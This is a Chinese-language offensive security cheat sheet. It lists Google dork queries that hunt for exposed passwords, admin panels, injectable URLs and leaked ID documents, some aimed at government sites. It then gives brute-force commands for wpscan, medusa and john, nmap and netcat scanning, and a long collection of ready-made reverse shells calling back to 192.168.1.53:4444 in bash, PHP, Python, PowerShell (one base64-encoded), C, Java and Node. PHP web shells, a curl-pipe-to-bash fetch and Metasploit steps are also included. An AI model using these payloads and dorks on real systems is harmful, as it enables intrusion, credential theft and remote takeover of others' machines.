filetype:pcf "cisco" "GroupPwd" 具有组密码的Cisco VPN文件进行远程访问
filetype:rcf inurl:vpn VPN客户端文件包含敏感信息和登录
intitle:Index of /__MACOSX ... 父目录Wordpress信息
inurl:dynamic.php?page=mailbox Webmail登录页面
inurl:http://inmotionhosting.com:2096/ Webmail登录页面
site:http://pastebin.com intext:@http://gmail.com | @http://yahoo.com | @http://hotmail.com daterange:2457388-2457491 包含电子邮件和相关密码列表的文件
inurl:userRpm inurl:LoginRpm.htm 列出所有TPLink路由器
inurl:https://pma. 登录门户
inurl:/dynamic/login-simple.html? 访问linksys智能WiFi帐户
inurl:/Remote/logon?ReturnUrl /远程/登录ReturnUrl易受攻击的Windows服务
inurl:index.php?app=main intitle:sms 登录门户到播放器webapp默认密码admin:admin
inurl:/view/viewer_index.shtml
常用:
site:http://gov.cn inurl:.login.asp (z政府网站后台)
inurl:http://gov.cn/admin (百度就可以)
inurl:gitlab 公司 filetype:txt
inurl:gitlab 公司 intext:账号
site:*. http://gitee.com intext:账号 ( ftp://*:* 密码 地址)
site:*. http://gitee.com filetype:txt 账号 ( ftp://*:* 密码 地址)
site:gitlab.*.com intext:密码
site: http://code.aliyun.com 2019 服务器地址
Google高级预定义搜索语法如下:
filetype:xls site: 名单 //信息泄露
inurl /search_results.php search= XSS 漏洞
site:域名 inurl:admin
用友
用友:用友grpu8高校内控管理
UFIDA NC协同-OA
对公网的语法:
inurl:备份 filetype:txt 密码
inurl:config.php filetype:bak
inurl:data
"index of/" xxx (mp3等等)
Index of /password
"Index of /" +passwd
"Index of /" +password.txt
inurl:phpMyAdmin
inurl:ewebeditor
intitle:后台管理
intitle:后台管理 inurl:admin
inurl:http://baidu.com
inurl:php?id=1
inurl:login
site: "身份证" "学生证" "1992" "1993" "1994" "1995" "1996" "1997" "1998" "1999" "2000"
site:.cn filetype:xls "服务器" "地址" "账号"
site:file.*.net(.com/.cn)
inurl:ali "管理平台"
cache
类似于百度快照功能,通过cache或许可以查看到目标站点删除的敏感文件
也可以用来解决找目标站点的物理路径不报错,而无法找到物理路径。
cache:http://xxx.com
“” + - | AND
将要搜索的关键字用引号括起来,搜索引擎将会搜索完全匹配关键字的网页
“房产” +南京 //搜索与南京有关的房产
“房产” -南京 //搜索结果除去南京的房产
房产|酒店 //搜索房产或者酒店有关的页面
房产 AND 酒店 //搜索同时匹配房产与酒店这两个关键词的页面
对限定目标类型的语法:
inurl:gitlab 公司 filetype:txt
inurl:gitlab 公司 intext:账号
site:*.http://gitee.com intext:账号 (ftp://*:* 密码 地址)
site:*.http://gitee.com filetype:txt 账号 (ftp://*:* 密码 地址)
site:gitlab.*.com intext:密码
site:http://code.aliyun.com 2019 服务器地址
对限定域名的语法:
site:http://xxxx.com
site:http://xxxx.com filetype:txt (doc docx xls xlsx txt pdf等)
site:http://xxxx.com intext:管理
site:http://xxxx.com inurl:login
site:http://xxxx.com intitle:管理
site:http://a2.xxxx.com filetype:asp(jsp php aspx等)
site:http://a2.xxxx.com intext:ftp://*:*(地址 服务器 虚拟机 password等)
site:http://a2.xxxx.com inurl:file(load)
site:http://xxxx.com intext:*@http://xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的
site:http://xxxx.com intext:电话 //N个电话
Google Hacking 综合利用
1、查找后台地址
site:target.com intext:(管理 | 后台 | 后台管理 | 登陆 | 登录 | 用户名 | 密码 | 系统 | 账号 |
login | system)
site:target.com inurl:(login | admin | manage | manager | admin_login | system |
backend)
site:target.com intitle:(管理 | 后台 | 后台管理 | 登陆 | 登录)
例子:
mi.com intitle:(管理 | 后台 | 后台管理 | 登陆 | 登录)
2、上传类漏洞地址
site:target.com (inurl:file | inurl:upload)
intitle:文件上传|上传文件|简历上传|上传简历
例子:
mi.com (inurl:file | inurl:upload)
(intitle:文件上传|上传文件|简历上传|上传简历) && (inurl:file | inurl:upload)
3、SQL 注入漏洞查找
site:target.com inurl:php?id=
inurl:php?news_id=
inurl:php?pro_id= intitle:公司
inurl:.php?product_id=
inurl:.php?id= site:.edu.cn
代码 检测 非法参数
4、编辑器页面查找
site:target.com inurl:ewebeditor
site:target.com inurl:ueditor
site:target.com inurl:fckeditor
ewebeditor 漏洞
5、目录遍历漏洞
site:target.com intitle:index.of
intitle:index.of 报名表
intitle:"index.of" intext:backup
intitle:"index.of" intext:网络安全培训资料
6、SQL 错误查找
site:target.com (intext:"sql syntax near" | intext:"syntax error has occurred" |
intext:"incorrect syntax near" | intext:"unexpected end of SQL command" |
intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()")
7、phpinfo 页面查找
site:target.com ext:php intitle:phpinfo "published by the PHP Group"
intitle:phpinfo "published by the PHP Group"
#没有删除测试脚本 phpinfo.php
inurl:phpinfo.php
#网站编程语言,在google
ext:asp
ext:aspx
ext:jsp
ext:php site:mi.com
8、配置文件泄露
site:target.com (ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ini)
#
https://xxx.com/robots.txt
9、公开文件泄露
site:target.com (filetype:doc | filetype:docx | filetype:xls | filetype:xlsx | filetype:ppt | filetype:pptx | filetype:csv)
单独在cn.bing.com里搜
filetype:doc
10、邮箱信息查找
site:target.com intext:@target.com
site:target.com 邮件
site:target.com email
site:mi.com 邮件
11、社工信息查找
site:target.com intitle:(账号 | 密码 | 工号 | 学号 | 身份证)
12、查看脚本类型
site:target.com (filetype:asp | filetype:aspx | filetype:php | filetype:jsp)
site:.edu filetype:xls "root" database
总结:谷歌黑客数据库:https://www.exploit-db.com/google-hacking-database
在谷歌黑客数据库中有大量的搜索引擎语法以及搜索案例如下:
dirb 网站目录爆破工具
Web Content Scanner
dirb http://43/131/246/114/ -o a.txt
dirb http://192.168.1.34/~havisham/
dirsearch 网站目录暴力扫描
是一个基于python的命令行工具,用于暴力扫描页面结构,包括网页中的目录和文件。
dirsearch -u http://dc-2/ -e * -x 403 404 500
dirsearch -u "http://192.168.0.18" -e *
dirsearch -u "http://192.168.0.149" -e * -w /root/big_dict.txt --crawl --random-agent -t 50
whatweb WEB扫描
whatweb http://192.168.0.23/
whatweb https://www.itnext.top/
wpscan WordPress安全扫描
#扫描wordexpress用户名
wpscan --url dc-2 -e u
vim user.txt
#爆破wordpress 网站账号和密码
wpscan --url dc-2 -U /root/user.txt -P /root/dict.txt
curl 命令方式访问URL
curl is a tool for transferring data from or to a server using URLs. It supports these protocols: DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS,
LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, TFTP, WS and WSS.
curl http://www.jd.com/abcdgood123.com/user.php \
-d "action=login&vulnspy=eval/**/(base64_decode("ZmlsZV9xxxxxxxx"));exit;" \
-H 'Referer: 4e343423424323|a:3:.......'
john 离线解密
john shadow --wordlist=/root/rockyou.txt
john hash.txt --wordlist=/root/rockyou.txt
#再次运行没有密码了
john hash.txt
Load 1 password hash(bcrypt [Blowfish 32/64 X3])
No password hashes left to crack(see FAQ)
#显示密码
john hash.txt --show
?:snoopy
1 password hash cracked, 0 left
medusa 在线解密
Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。 Medusa 是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP, PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT, SMTP(AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具,官方网站:http://foofus.net/goons/jmk/medusa/medusa.html
rz medusa.zip
#./configure
#make
#make install
sudo apt-get update
sudo apt-get install medusa
ls /usr/local/lib/medusa/modules
#其中,“-v”参数会输出详细信息,包括每个尝试登录的结果。如果成功找到匹配的密码,则会显示“SUCCESS”消息和密码文本。
medusa -M ssh -h 192.168.1.10 -u testuser -P pwdlist.txt -v
medusa -M ssh -H host.txt -U users.txt -P hack-10wanmima.txt -t 80 1
medusa -M ssh -H host.txt -U users.txt -P hack-10wanmima.txt
#80个线程
medusa -M ssh -H host.txt -U users.txt -P hack-10wanmima.txt -t 80 -O ssh.log
nc netcat瑞士军刀
- 实现任意TCP/UDP端口侦听
- 端口扫描 ,作为client发起TCP/UDP连接
- 机器间文件传输
- 机器之间网络测速
bash -c '0<&86-;exec 86<>/dev/tcp/192.168.0.53/5555;sh <&86 >&86 2>&86'
#作为server侦听端口
nc -lnvp 5555
# -n 使用IP -v 显示执行过程 -w 超时事件 -z 表示使用0输入、输入模式,只有在扫描通信端口时使用
nc -nv -w 1 -z 192.168.1.180 1-4000
nmap 网络探测工具和安全/端口扫描器
Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以 及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。
可半连接(不会被发现)、全连接扫描
##使用ping批量扫描192.168.1段的存活主机。
nmap -sP 192.168.1.0/24
#网段扫描 -sn 只ping,不扫描端口Ping Scan - disable port scan
nmap -sn 192.168.1.0/24
nmap -sn 192.168.1.1-254
#端口扫描 T<0-5>: Set timing template (higher is faster)
nmap -T4 -Pn -sV 192.168.1.52
#全端口扫描
nmap -T4 -A -p- 192.168.1.52
#同一个网段主机识别 -Pn: Treat all hosts as online -- skip host discovery
nmap -Pn -p- 192.168.0.180
#全端口扫描,开放了哪些端口 -Pn: Treat all hosts as online -- skip host discovery
nmap -Pn --min-rate=10000 -p- 192.168.1.180
#针对开放的端口进行服务识别以及服务版本的识别
nmap -sV -p 21,22,80,445,631,3000,3306,3500,6697,8080,8181 192.168.1.180
#半连接扫描
nmap -sS 192.168.1.180 -p 80,81,22,21,25,110,443
nmap -sS 114.114.114.114 -p 53,80,443 -Pn
nmap -sS 12306.cn -p 1-1000
#发送1万个数据包 全端口扫描
nmap --min-rate=10000 -Pn -p- 192.168.0.43
nmap -sV -O -p 21,22,80,445,139
nmap -T4 -Pn -sV 192.168.0.124
#详细全端口扫描 1-65535
nmap -T4 -A -p- 192.168.0.124
nmap --min-rage=10000 -Pn
nmap -sV -O -p 21,22,25,80,110,143 192.168.1.23
nmap -p 7465
nmap -A -p- 192.168.0.125
nmap -p 2 192.168.0.125
#三次循环方式扫描
for x in 7469 8475 9842; do nmap -Pn --max-retired 5
#全扫描,显示的服务不准确,按默认的规则显示服务的
nmap -p 1-65535 192.168.1.63
#根据开放的端口来访问服务,信息较准确详细
nmap -sV -p 22,111,6000 192.168.0.63
#只ping,不扫描
nmap -sn 192.168.0.0/24
#也是ping, 如果有防火墙,扫描不到
nmap -sP 192.168.0.0/24
#半连接,不加或加 -sS, 只通过TCP前两次握手
#全连接 -sT
# -O 判单主机类型,根据返回的包判断,不一定找出来
#扫描整个网段有哪些主机是存活的,半连接,判断操作系统类型
nmap -sS -O 192.168.1.0/24
#输出到文件
-oX test.xml
-oA test 自动保存到文件,扫描终端也能打开
-oG test.txt
NMAP脚本使用
NMAP脚本类型
auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
nmap内置了许多脚本,都存放在以下目录中/usr/share/nmap/scripts。
└─# ls /usr/share/nmap/scripts|wc -l
606
#lua 语言
cd /usr/share/nmap/scripts
ls *vuln*
#用所有vuln漏洞扫描脚本去扫描某机器或多个机器
nmap --script=vuln 192.168.1.77
zenmap
窗口GUI方式执行nmap 命令,方便生成命令和保存结果和查看,相关命令profile配置如下
第一种:Intense scan
(nmap -T4 -A -v)
一般来说,Intense scan可以满足一般扫描
-T4 加快执行速度
-A 操作系统及版本探测
-v 显示详细的输出
第二种:Intense scan plus UDP
(nmap -sS -sU -T4 -A -v)
即UDP扫描
-sS TCP SYN 扫描
-sU UDP 扫描
第三种:Intense scan,all TCP ports
(nmap -p 1-65536 -T4 -A -v)
扫描所有TCP端口,范围在1-65535,试图扫描所有端口的开放情况,速度比较慢。
-p 指定端口扫描范围
第四种:Intense scan,no ping
(nmap -T4 -A -v -Pn)
非ping扫描
-Pn 非ping扫描
第五种:Ping scan
(nmap -sn)
Ping 扫描
优点:速度快。
缺点:容易被防火墙屏蔽,导致无扫描结果
-sn ping扫描
第六种:Quick scan
(nmap -T4 -F)
快速的扫描
-F 快速模式。
第七种:Quick scan plus
(nmap -sV -T4 -O -F --version-light)
快速扫描加强模式
-sV 探测端口及版本服务信息。
-O 开启OS检测
--version-light 设定侦测等级为2。
第八种:Quick traceroute
(nmap -sn --traceroute)
路由跟踪
-sn Ping扫描,关闭端口扫描
-traceroute 显示本机到目标的路由跃点。
第九种:Regular scan
常规扫描
第十种:Slow comprehensive scan
(nmap -sS -sU -T4 -A -v -PE -PP -PS80,443,-PA3389,-PU40125 -PY -g 53 --script all)
慢速全面扫描。
使用nc扫描端口
-n 直接使用IP地址,而不通过域名服务器
-v 显示指令执行过程。
-w 表示超时时间
-z 表示使用0输入/输出模式,只在扫描通信端口时使用。
nc -nv -z 192.168.1.63 22
nc -v -z itnext.top 22
使用nc获取shell
正向连接
#target host
nc -lnvp 666 -c bash
#local host
nc -nv 192.168.1.63 666
反向连接
#localhost
nc -lnvp 4444
#target host
nc -nv 192.168.1.53 4444 -e /bin/bash
#localhost
nc -lvnp 4444
#target host
bash -i >& /dev/tcp/192.168.1.53/4444 0>&1
#target host,执行一个命令
whois -h 192.168.1.53 -p 4444 `pwd`
whois -h 192.168.1.53 -p 4444 `whoami`
#local host
cat /var/www/html/bash.html
bash -i >& /dev/tcp/192.168.1.53/4444 0>&1
#target host
curl http://192.168.1.53/bash.html|bash
反弹shell生成器
https://forum.ywhack.com/reverse-shell/
目标端不同语言反向shell
#Bash -i
sh -i >& /dev/tcp/192.168.1.53/4444 0>&1
#Bash 196 TCP
0<&196;exec 196<>/dev/tcp/192.168.1.53/4444; sh <&196 >&196 2>&196
#Bash 196 UDP
0<&196;exec 196<>/dev/udp/192.168.1.53/4444; sh <&196 >&196 2>&196
#Bash read line
exec 5<>/dev/tcp/192.168.1.53/4444;cat <&5 | while read line; do line 2>&5 >&5; done
#Bash 5
sh -i 5<> /dev/tcp/192.168.1.53/4444 0<&5 1>&5 2>&5
#Bash udp
sh -i >& /dev/udp/192.168.1.53/4444 0>&1
#nc mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.53 4444 >/tmp/f
#nc mknod
rm -f /tmp/p;mknod /tmp/p p && nc 192.168.1.53 4444 0/tmp/
#nc -e
nc 192.168.1.53 4444 -e sh
#nc|
sh | nc 192.168.1.53 4444
#nc|2
nc 192.168.1.53 4444 | sh
#rustcat
rcat 192.168.1.53 4444 -r sh
#Perl
perl -e 'use Socket;i="192.168.1.53";p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(p,inet_aton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
#Perl no sh
perl -MIO -e 'p=fork;exit,if(p);c=new IO::Socket::INET(PeerAddr,"192.168.1.53:4444");STDIN->fdopen(c,r);~->fdopen(c,w);system_ while<>;'
#OpenSSL
mkfifo /tmp/s;
sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.1.53:4444 > /tmp/s; rm /tmp/s
#Telnet
TF=(mktemp -u);mkfifoTF && telnet 192.168.1.53 4444 0<TF | sh 1>TF
#Lua #1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.1.53','4444');os.execute('sh -i <&3 >&3 2>&3');"
#Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.53:4444");cmd:=exec.Command("sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
#awk
awk 'BEGIN {s = "/inet/tcp/0/192.168.1.53/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
PHP反弹shell
#php
php -r 'sock=fsockopen("192.168.1.53",4444);exec("/bin/sh -i <&3 >&3 2>&3")'
#PHP cmd small
<?=`_GET[0]`?>
#PHP cmd2
<?php if(isset(_REQUEST['cmd'])){ echo "<pre>";cmd = (_REQUEST['cmd']); system(cmd); echo "</pre>"; die; }?>
#PHP exec
php -r 'sock=fsockopen("192.168.1.53",4444);exec("sh <&3 >&3 2>&3");'
#PHP shell_exec
php -r 'sock=fsockopen("192.168.1.53",4444);shell_exec("sh <&3 >&3 2>&3");'
#PHP system
php -r 'sock=fsockopen("192.168.1.53",4444);system("sh <&3 >&3 2>&3");'
#PHP passthru
php -r 'sock=fsockopen("192.168.1.53",4444);passthru("sh <&3 >&3 2>&3");'
#PHP`
php -r 'sock=fsockopen("192.168.1.53",4444);`sh <&3 >&3 2>&3`;'
#PHP popen
php -r 'sock=fsockopen("192.168.1.53",4444);popen("sh <&3 >&3 2>&3", "r");'
#PHP proc_open
php -r 'sock=fsockopen("192.168.1.53",4444);proc=proc_open("sh", array(0=>sock, 1=>sock, 2=>sock),pipes);'
#PHP Emoji
php -r '😀="1";😁="2";😅="3";😆="4";😉="5";😊="6";😎="7";😍="8";😚="9";🙂="0";🤢=" ";🤓="<";🤠=">";😱="-";😵="&";🤩="i";🤔=".";🤨="/";🥰="a";😐="b";😶="i";🙄="h";😂="c";🤣="d";😃="e";😄="f";😋="k";😘="n";😗="o";😙="p";🤗="s";😑="x";💀 =😄. 🤗.😗. 😂.😋. 😗.😙. 😃.😘;🚀 = "192.168.1.53";💻 = 4444;🐚 = "sh".🤢. 😱.🤩. 🤢.🤓. 😵.😅. 🤢.🤠. 😵.😅. 🤢.😁. 🤠.😵. 😅;🤣 = 💀(🚀,💻);👽 = 😃.😑. 😃.😂;👽(🐚);'
Python反弹shell
#python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.53",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
#python #2
export RHOST="192.168.1.53";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
#Python3 shortest
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.1.53",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
node js反弹shell
//#node js
require('child_process').exec('nc -e sh 192.168.1.53 4444')
//#node js#2
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(4444, "192.168.1.53", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
PowerShell反弹shell
#PowerShell #1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.53",4444);stream =client.GetStream();[byte[]]bytes = 0..65535|%{0};while((i = stream.Read(bytes, 0, bytes.Length)) -ne 0){;data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(bytes,0,i);sendback = (iexdata 2>&1 | Out-String );sendback2 =sendback + "PS " + (pwd).Path + "> ";sendbyte = ([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0,sendbyte.Length);stream.Flush()};client.Close()
#PowerShell #3 Base64
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEALgA1ADMAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
#上面的base64部分解码为:client = New-Object System.Net.Sockets.TCPClient("192.168.1.53",4444);stream =client.GetStream();[byte[]]bytes = 0..65535|%{0};while((i = stream.Read(bytes, 0, bytes.Length)) -ne 0){;data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(bytes,0,i);sendback = (iexdata 2>&1 | Out-String );sendback2 =sendback + "PS " + (pwd).Path + "> ";sendbyte = ([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0,sendbyte.Length);stream.Flush()};$client.Close()
C反弹shell
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4444;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.53");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execve("sh", argv, NULL);
return 0;
}
Java 反弹shell
#Java #1
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c @|bash 0 echo bash -i >& /dev/tcp/192.168.1.53/4444 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
#Java #2
public class shell {
public static void main(String[] args) {
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "@| bash -i >& /dev/tcp/192.168.1.53/4444 0>&1")
.redirectErrorStream(true);
try {
Process p = pb.start();
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class shell {
public static void main(String[] args) {
String host = "192.168.1.53";
int port = 4444;
String cmd = "sh";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}
}
}
获取正常shell
以上获得的shell显示不太正常,如下这般好了
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z #suspended zsh
stty raw -echo;fg;reset #continue
enum4linux
Simple wrapper around the tools in the samba package to provide similar
functionality to enum.exe (formerly from www.bindview.com). Some additional
features such as RID cycling have also been added for convenience.
enum4linux -h
enum4linux 192.168.1.180
smbclient SMB客户端
ftp-like client to access SMB/CIFS resources on servers
smbclient -L 192.168.0.43
smbclient //192.168.0.43/anonymous
smb: \\> ls
get log.txt
ss 查看SOCKET端口
ss 是 Socket Statistics 的缩写。用来获取 socket 统计信息。它可以显示和 netstat 类似的内容。 ss 的优势在于它能够显示更多更详细的有关 TCP 和连接状态的信息,而且比 netstat 更快速更高效。
netstat -antup
ss -lnt
searchsploit bug查找
SearchSploit 漏洞搜索使用技巧 SearchSploit 是一个用于搜索 Exploit-DB 漏洞数据的命令行工具,它可以允许你离线 Exploit 数 据库,这样你就可以在本地执行离线搜索,这对于有时候不能联网的渗透工作非常的有用。 exploit-db 官网地址:http://www.exploit-db.com
Kali 自带 SearchSploit,所以在 Kali 下使用无需下载和安装
searchsploit -h
#更新
searchsploit -u
searchsploit ProFTPD 1.3.5
searchsploit -e windows 10
searchsploit libreNMS
searchsploit Drupal 7
#找到编号,找文件路径
searchsploit -p 48267
#永恒之黑
CVE-2020-0796
searchsploit -p 47915
# 不加-e 不按顺序匹配,细化查找
searchsploit windows 10 smb
searchsploit windows 2008 smb
#删除不想要的结果
searchsploit windows 10 smb --exclude="2008"
#只查看 python 的 EXP
searchsploit smb windows remote | grep py
#也可以通过关键词搜索实现
searchsploit smb windows remote .py
检索到指定漏洞的 EXP,不建议在漏洞库中直接修改 EXP,可以使用-m 参数将 EXP 复制到当前目录。
例 6:搜索织梦 CMS 系统 5.7 版本漏洞的 EXP,并将 EXP 复制到当前目录。
searchsploit dedecms 5.7
EXP 的 ID 为:37423
# -m会复制到当前目录
searchsploit -m 37423
#不管版本搜索
searchsploit dedecms
#找所有SQL注入漏洞
searchsploit SQL Injection
#通过漏洞找资产
例如找到漏洞的资产,根据资产名去FOFA 查找
”ZeusCart“
”Drupal 7"
app="drupal" && header="drupal 7"
metasploit framework 渗透测试
世界上使用最多的渗透测试框架.
The world’s most used penetration testing framework
Knowledge is power, especially when it’s shared. A collaboration between the open source community and Rapid7, Metasploit helps security teams do more than just verify vulnerabilities, manage security assessments, and improve security awareness; it empowers and arms defenders to always stay one step (or two) ahead of the game.
安装Metasploit
in kali root
systemctl start postgresql
systemctl enable postgresql
在kali图形界面上,菜单选择
08 – 漏洞利用工具
metasploit framework
会自动配置安装好metasploit
实际上以上就是执行 msfconsole,另外也可以如下方式启动console
msfdb init #初始化
msfdb reinit #重新初始化
msfdb run #运行,先检查数据库,后自动启动msfconsole
在其他shell终端中可以输入
msfconsole
或
msfdb run
msf6 > help
msfconsole
下面的也一样会进入,并且启动数据库,命令短一些
msfdb run
# msfconsole
msf6>
search -help
#模块 show
show -help
show 参数: all,encoder,nops,exploits,payloads,auxiliary,post,plugins,info,options
#通过平台查找
search platform:mysql
#通过路径查找
search path:mysql
#通过类型查找
type: 特定类型的魔魁哎(exploit,payload,auxiliary,encoder,evasion,poist,or nop)
search type:exploit
#联和查找
search name:mysql type:exploit
#查找cve
serach cve:CVE-2017-8464
#
search mysql
search mysql_login
#装载一个攻击模块
use auxiliary/scanner/mysql/mysql_login
#显示参数
show options
set RHOSTS 192.168.1.180
Set USERNAME root
set BLANK_PASSWORDS true
#退回当前调用的模块
back
info xxxxx
#设置参数
set xxx(payload)
set xxx xxx (参数)
#执行攻击
执行 exploit
exploit
exploit -j
sessions -help
sessions
sessions -i 2
backpgound
sessions -k 2
run
#多个监听,
set exitOnSession false
#后台启动作业
run -j
Metasploit相关例子
db_export/import结果导出导入
hosts
hosts -c address,name,os_name
#扫描结果的导出
